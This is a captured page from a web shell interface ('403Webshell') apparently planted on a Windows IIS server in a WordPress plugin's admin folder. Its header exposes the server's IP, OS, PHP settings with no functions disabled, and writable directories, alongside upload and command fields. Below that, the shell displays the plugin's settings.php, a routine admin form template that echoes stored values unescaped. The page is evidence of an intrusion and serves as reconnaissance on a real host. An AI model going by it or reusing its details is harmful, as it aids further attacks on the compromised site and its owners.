403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/repository/wp-content/plugins/wp-front-end-repository/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/repository/wp-content/plugins/wp-front-end-repository/admin/settings.php
<?php 
/*
 * this file rendering admin options for the plugin
* options are defined in admin/admin-options.php
*/

//pa($repo_options);
//pa($repo -> nm_repo_settings);
//pa($repo -> nm_repo_settings);

$sendUpdate = '';
?>


<h2>
	<?php echo $repo -> plugin_fullname?>
</h2>
<div id="tab-container" class="tab-container">
	<ul class='etabs'>
		<?php foreach($repo_options as $id => $option){
			
			?>

		<li class='tab'><a href="#<?php echo $id?>"><?php echo $option['name']?>
		</a></li>

		<?php }?>
	</ul>


	<?php foreach($repo_options as $id => $options){
		
		// reseting the update data array
		
		?>

	<div id="<?php echo $id?>" class="general-settings">
		<p>
			<?php echo $options['desc']?>
		</p>


		<ul>
			<?php foreach($options['meat'] as $key => $data){
			
				$sendUpdate[$data['id']] = array('type'	=> $data['type']);
				
				?>

			<li id="<?php echo $key?>" class="plugin-field-set">			
			<?php switch($data['type']){
					
				case 'text':
					?>
				<ul>
					<li><h4><?php echo $data['desc']?> </h4>
					<label for="<?php echo $data['id']?>"><?php echo $data['label']?> 
					<input type="text" name="<?php echo $data['id']?>" id="<?php echo $data['id']?>" value="<?php echo stripcslashes($repo -> nm_repo_settings[ $data['id'] ])?>" class="regular-text">
					</label><br />
					<em><?php echo $data['help']?> </em> 
					</li>
				</ul> <?php 
				break;
				
				
				case 'textarea':
					$ta_val = stripcslashes($repo -> nm_repo_settings[ $data['id'] ]);
					?>
								<ul>
									<li><h4><?php echo $data['desc']?> </h4>
									<label for="<?php echo $data['id']?>"><?php echo $data['label']?></label><br /> 
									<textarea cols="45" rows="6" name="<?php echo $data['id']?>" id="<?php echo $data['id']?>"><?php echo $ta_val?></textarea>
									<br />
									<em><?php echo $data['help']?> </em> 
									</li>
								</ul> 
				<?php 
				break;

				case 'checkbox':?>
				<ul>
					<li>
					<h4><?php echo $data['desc']?> </h4>
					
					<?php foreach($data['options'] as $k => $label){?>
					
						<label for="<?php echo $data['id'].'-'.$k?>"> <input type="checkbox" name="<?php echo $data['id']?>" id="<?php echo $data['id'].'-'.$k?>" value="<?php echo $k?>"> <?php echo $label?>
						</label>
					<?php }?>
					
					<br />
					<em><?php echo $data['help']?> </em> 
					</li>
					<!-- setting value -->
					<script>
					setChecked('<?php echo $data['id']?>', '<?php echo json_encode($repo -> nm_repo_settings[ $data['id'] ])?>');
					</script>
				</ul>
				
								
				<?php break;
				
				
				case 'radio':?>
								<ul>
									<li>
									<h4><?php echo $data['desc']?> </h4>
									
									<?php foreach($data['options'] as $k => $label){?>
									
										<label for="<?php echo $data['id'].'-'.$k?>"> <input type="radio" name="<?php echo $data['id']?>" id="<?php echo $data['id'].'-'.$k?>" value="<?php echo $k?>"> <?php echo $label?>
										</label>
									<?php }?>
									
									<br />
									<em><?php echo $data['help']?> </em> 
									</li>
									<script>
									setCheckedRadio('<?php echo $data['id']?>', '<?php echo $repo -> nm_repo_settings[ $data['id'] ]?>');
									</script>
								</ul>
								
												
				<?php break;
				
				case 'select':?>
								<ul>
									<li>
									<h4><?php echo $data['desc']?> </h4>
									
										<label for="<?php echo $data['id']?>"><?php echo $data['label']?> 										 
										<select name="<?php echo $data['id']?>" id="<?php echo $data['id']?>">
											<option value=""><?php echo $data['default']?></option>
											
											<?php foreach($data['options'] as $k => $label){
												
													$selected = ($k == $repo -> nm_repo_settings[ $data['id'] ]) ? 'selected = "selected"' : '';
													
													echo '<option value="'.$k.'" '.$selected.'>'.$label.'</option>';
											}
												?>
											
										</select> 
										</label>
									
									<br />
									<em><?php echo $data['help']?> </em>
									</li>
								</ul>
								
								<?php break;
								
			case 'para':?>
											<ul>
												<li>
												<h4><?php echo $data['desc']?> </h4>
												
												<br />
												<em><?php echo $data['help']?> </em>
												</li>
											</ul>
											
											<?php break;

			} ?></li>
			<?php }
			
			?>
		</ul>
		
		<!--  <button class="button" onclick=updateOptions('<?php //echo json_encode($sendUpdate)?>')><?php _e('Setting settings', $repo -> plugin_shortname)?></button> -->
	</div>

	<?php 
	}
	?>
	
	<button class="button" onclick=updateOptions('<?php echo json_encode($sendUpdate)?>')><?php _e('Setting settings', $repo -> plugin_shortname)?></button>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit